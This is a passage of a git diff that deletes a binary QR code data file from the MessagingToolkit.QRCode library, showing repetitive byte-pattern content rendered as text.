nmnmnmnmnmlklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSSSSSSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:978787878656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:978787777656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:977878787656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('('&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!           - - - - .-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!         - - - - .-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+,+*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#"!"!"!"!"!"!"!        - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)*)('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!           - - - - - .-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - xxwwvvuuQQRRSSTT55443322GGHHIIJJ??>>==<;,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++hhggffee uutsrqpo PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOO??>>==77556677==LLKKJJIIttuuvvww!! <<==>>??YYXXWWVVttssrrqqUUVVWWXX1100//..KKLLMMNN:987766500112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//ddccbbaaonnmmllk - - TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSS66554433>>??@@AAHHGGFFEExxxxwwvv@@AABBCCUUTTSSRRppoonnmmYYZZ[[\\--,,++**OOPPQQRR5443322144556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233``__^^]]kjjiihhgXXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWW221100//BBCCDDEEDDCCBBAA !!""##uuttssrrDDEEFFGGQQPPOONNllkkjjii ]]^^__``))((''&&SSYYZZ[[100//..-8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677\\[[ZZYYgffeeddc\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[..--,,++FFGGHHII@@??>>==$$%%&&''qqppoonnHHIIJJKKMMLLKKJJhhggffee - - aabbccdd%%$$##""\\]]^^__-,,++**)<<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;SSRRQQPP!!""##$$cbbaa``_``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__**))((''JJKKLLMM<;:98776(())**++mmllkkjjLLMMNNOOIIHHGGFFddccbbaa - - eeffgghh!!``aabbcc)((''&&%@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??OONNMMLL%%&&''((_^^]]\\[ - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc&&%%$$##NNOOPPQQ65544332,,--..//iihhggff - -PPQQRRSSEEDDCCBB``__^^]] iijjkkllddeeffgg%$$##""!DDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCKKJJIIHH))**++,,[ZZYYXWV hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg""!!RRSSYYZZ21100//.00112233eeddccbb TTUUVVWWAA@@??>>\\[[ZZYYmmnnoopphhiijjkk! HHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGGGFFEEDD--..//00UTSSRRQQllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk[[\\]]^^.--,,++*44556677aa``__^^XXYYZZ[[==<<;;::XXWWVVUUqqrrsstt llmmnnooLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKCCBBAA@@11223344PPOONNMMppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo__``aabb*))((''&8899::;;]]\\[[ZZ\\]]^^__99887766TTSSRRQQuuvvwwxx - - uuvvwwxxPPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOO??>>==77556677==LLKKJJIIttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrssccddeeff&%%$$##"<<==>>??YYXXWWVV``aabbcc55443322PPOONNMM xxwwvvuu - - xxwwvvuuTTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSS66554433>>??@@AAHHGGFFEExxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww - -gghhiijj"!! @@AABBCCUUTTSSRR - - ddeeffgg1100//..LLKKJJII!!""##$$oonnmmll tsrqpoon XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWW221100//BBCCDDEEDDCCBBAA !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv kkllmmnnDDEEFFGGQQPPOONN hhiijjkk--,,++**HHGGFFEE%%&&''((kkjjiihhnmmllkkj - - \\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[..--,,++FFGGHHII@@??>>==$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuoonnmmoouuvvwwHHIIJJKKMMLLKKJJllmmnnoo))((''&&DDCCBBAA))**++,,ggffeeddjiihhggf``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__**))((''JJKKLLMM<;:98776(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''llkkjjii - - xxxxwwvvLLMMNNOOIIHHGGFFppqqrrss%%$$##""@@??>>==--..//00ccbbaa``!!feeddccb - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc&&%%$$##NNOOPPQQ65544332,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++hhggffee uutsrqpo PPQQRRSSEEDDCCBBttuuvvww!! <<;;::9911223344__^^]]\\""##$$%%baa``__^ hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg""!!RRSSYYZZ21100//.00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//ddccbbaaonnmmllk - - TTUUVVWWAA@@??>>xxxxwwvv8877665555667788[[ZZYYSS&&''(())^]]\\[[Zllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk[[\\]]^^.--,,++*44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233``__^^]]kjjiihhgXXYYZZ[[==<<;;:: !!""##uuttssrr4433221199::;;<>??@@NNMMLLKK..//0011SSRRQQPPttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrssccddeeff&%%$$##"<<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;SSRRQQPP!!""##$$cbbaa``_``aabbcc55443322(())**++mmllkkjj,,++**))AABBCCDDJJIIHHGG22334455OONNMMLLxxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww - -gghhiijj"!! @@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??OONNMMLL%%&&''((_^^]]\\[ - - ddeeffgg1100//..,,--..//iihhggff - -((''&&%%EEFFGGHHFFEEDDCC6677==>>KKJJIIHH !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv kkllmmnnDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCKKJJIIHH))**++,,[ZZYYXWV hhiijjkk--,,++**00112233eeddccbb  - - $$##""!!IIJJKKLLBBAA@@????@@AABBGGFFEEDD$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuoonnmmoouuvvwwHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGGGFFEEDD--..//00UTSSRRQQllmmnnoo))((''&&44556677aa``__^^  MMNNOOPP>>==7766CCDDEEFFCCBBAA@@(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''llkkjjii - - xxxxwwvvLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKCCBBAA@@11223344PPOONNMMppqqrrss%%$$##""8899::;;]]\\[[ZZppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''llkkjjii - - xxxxwwvvLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''iihhggff]]\\[[ZZttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++hhggffee uutsrqpo PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++eeddccbbYYXXWWVVxxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//ddccbbaaonnmmllk - - TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//aa``__^^!!""##UUTTSSRR !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233``__^^]]kjjiihhgXXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233]]\\[[ZZ$$%%&&''QQPPOONN$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677\\[[ZZYYgffeeddc\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677YYSSRRQQ(())**++MMLLKKJJ !!""##(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;SSRRQQPP!!""##$$cbbaa``_``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;PPOONNMM,,--..//IIHHGGFF$$%%&&'',,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??OONNMMLL%%&&''((_^^]]\\[ - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??LLKKJJII00112233EEDDCCBB(())**++00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCKKJJIIHH))**++,,[ZZYYXWV hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCHHGGFFEE44556677AA@@??>>,,--..//44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGGGFFEEDD--..//00UTSSRRQQllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGDDCCBBAA==>>??@@==<<;;::001122338899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKCCBBAA@@11223344PPOONNMMppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKK@@??>>==AABBCCDD9988776644556677<<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOO??>>==77556677==LLKKJJIIttuuvvww!! <<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOO77665544EEFFGGHH554433228899::;;@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSS66554433>>??@@AAHHGGFFEExxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSS33221100IIJJKKLL1100//..<<==>>??DDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWW221100//BBCCDDEEDDCCBBAA !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWW//..--,,MMNNOOPP--,,++**@@AABBCCHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[..--,,++FFGGHHII@@??>>==$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[++**))((QQRRSSYY))((''&&DDEEFFGGLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__**))((''JJKKLLMM<;:98776(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss%%$$##""8899::;;]]\\[[ZZ\\]]^^__''&&%%$$ZZ[[\\]]%%$$##""HHIIJJKKPPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc&&%%$$##NNOOPPQQ65544332,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww!! <<==>>??YYXXWWVV``aabbcc##""!!^^__``aa!! LLMMNNOOTTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffgg""!!RRSSYYZZ21100//.00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv@@AABBCCUUTTSSRR - - ddeeffggbbccddeePPQQRRSSXXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkk[[\\]]^^.--,,++*44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuttssrrDDEEFFGGQQPPOONN hhiijjkkffgghhiiTTUUVVWW\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoo__``aabb*))((''&8899::;;]]\\[[ZZ\\]]^^__99887766$$%%&&''qqppoonnHHIIJJKKMMLLKKJJllmmnnoojjkkllmmXXYYZZ[[``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrssccddeeff&%%$$##"<<==>>??YYXXWWVV``aabbcc55443322(())**++mmllkkjjLLMMNNOOIIHHGGFFppqqrrss mmllkkjj\\]]^^__ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww - -gghhiijj"!! @@AABBCCUUTTSSRR - - ddeeffgg1100//..,,--..//iihhggff - -PPQQRRSSEEDDCCBBttuuvvww - - - -iihhggff - -``aabbcchhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxxxwwvv kkllmmnnDDEEFFGGQQPPOONN hhiijjkk--,,++**00112233eeddccbb TTUUVVWWAA@@??>>xxppoonn eeddccbb - - ddeeffggllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##uuoonnmmoouuvvwwHHIIJJKKMMLLKKJJllmmnnoo))((''&&44556677aa``__^^XXYYZZ[[==<<;;:: !!""##mmllkkjjaa``__^^ hhiijjkkllmmbdQZ|Jlt`vXnے`JdQbtpvnZp˂|drtbdQZf`vXpZHAbbtl|ZdQ`f~rXQJ`tAJlpfHnvpے`JJtArdf~HrXQJ`|rAJlltbf`vXpZHAbbtl|ZdQ`f~rXQJ`tAJlpfHn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pZHAr󙐂ˁ`XnvrQtJlf`vXpZHAbbtlHfpv`f~rXQJ`tAJlfH~nvppZHAbdQbt~HfpZp˂|drbnvf`vXpZHAbbtlHfpv`f~rXQJ`tAJlfH~nvpbے`ZQXb㉀pfH~tbAdnvpے`JJtArdnXvHfpvےbHAtbdQZf`vXfH~ے`JlJtArvnXrXQJ`tAJlpfHnvpے`JJtArdnXvHfpvےbHAtbdQZf`vXfH~JXQrXnv˅f۝`vZ|dfH~XQr˂|ZdQ`f~nXvZp˂|drnvpf`vXXQr˂d|Zv`f~fےbHAtbdQZf`vXfH~XQr˂|ZdQ`f~nXvZp˂|drnvpf`vX˂p`ZpfH~XnvrQtJlf`vXpZHAbbtlHfpv`fHrXQJ`tAJlfH~nr˂p`JXQdQbtpvnZp˂|drnvpf`vXpZHAbbtlHfpv`fHrXQJ`tAJlfH~nے`JQXb㉀ۅf۝`vp|dtbAdnvpے`JJtArdnXvfpvےbHAtbdQZf`vXp`JXQrbtl|ZdQXv`frXQJ`tAJlfH~nvpے`JJtArdnXvfpvےbHAtbdQZf`vXXQr˂pJAHrXnvrQtJlZ|drQtqrstuvwxxwvutsrJJJJJJJJJJJJJJJJJJJKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_1.dat deleted file mode 100644 index b8939dd..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_1.dat +++ /dev/null @@ -1,241 +0,0 @@ -xwxwxwxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopopopopopopopopnmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787777787877878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqopooooooopopopopnmnmnmnmnmnmnmnmnmlklklklklklklklklklklkjijijijijijijijijihghghghghghghghghghghgfefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcbababababababababa`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787887656565656565656565656543434343434343434321212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopoooooooponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSSSSSSTTSTSTSTSTSTSTSSSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        xwxwxwxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTSSSSSTSTSSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        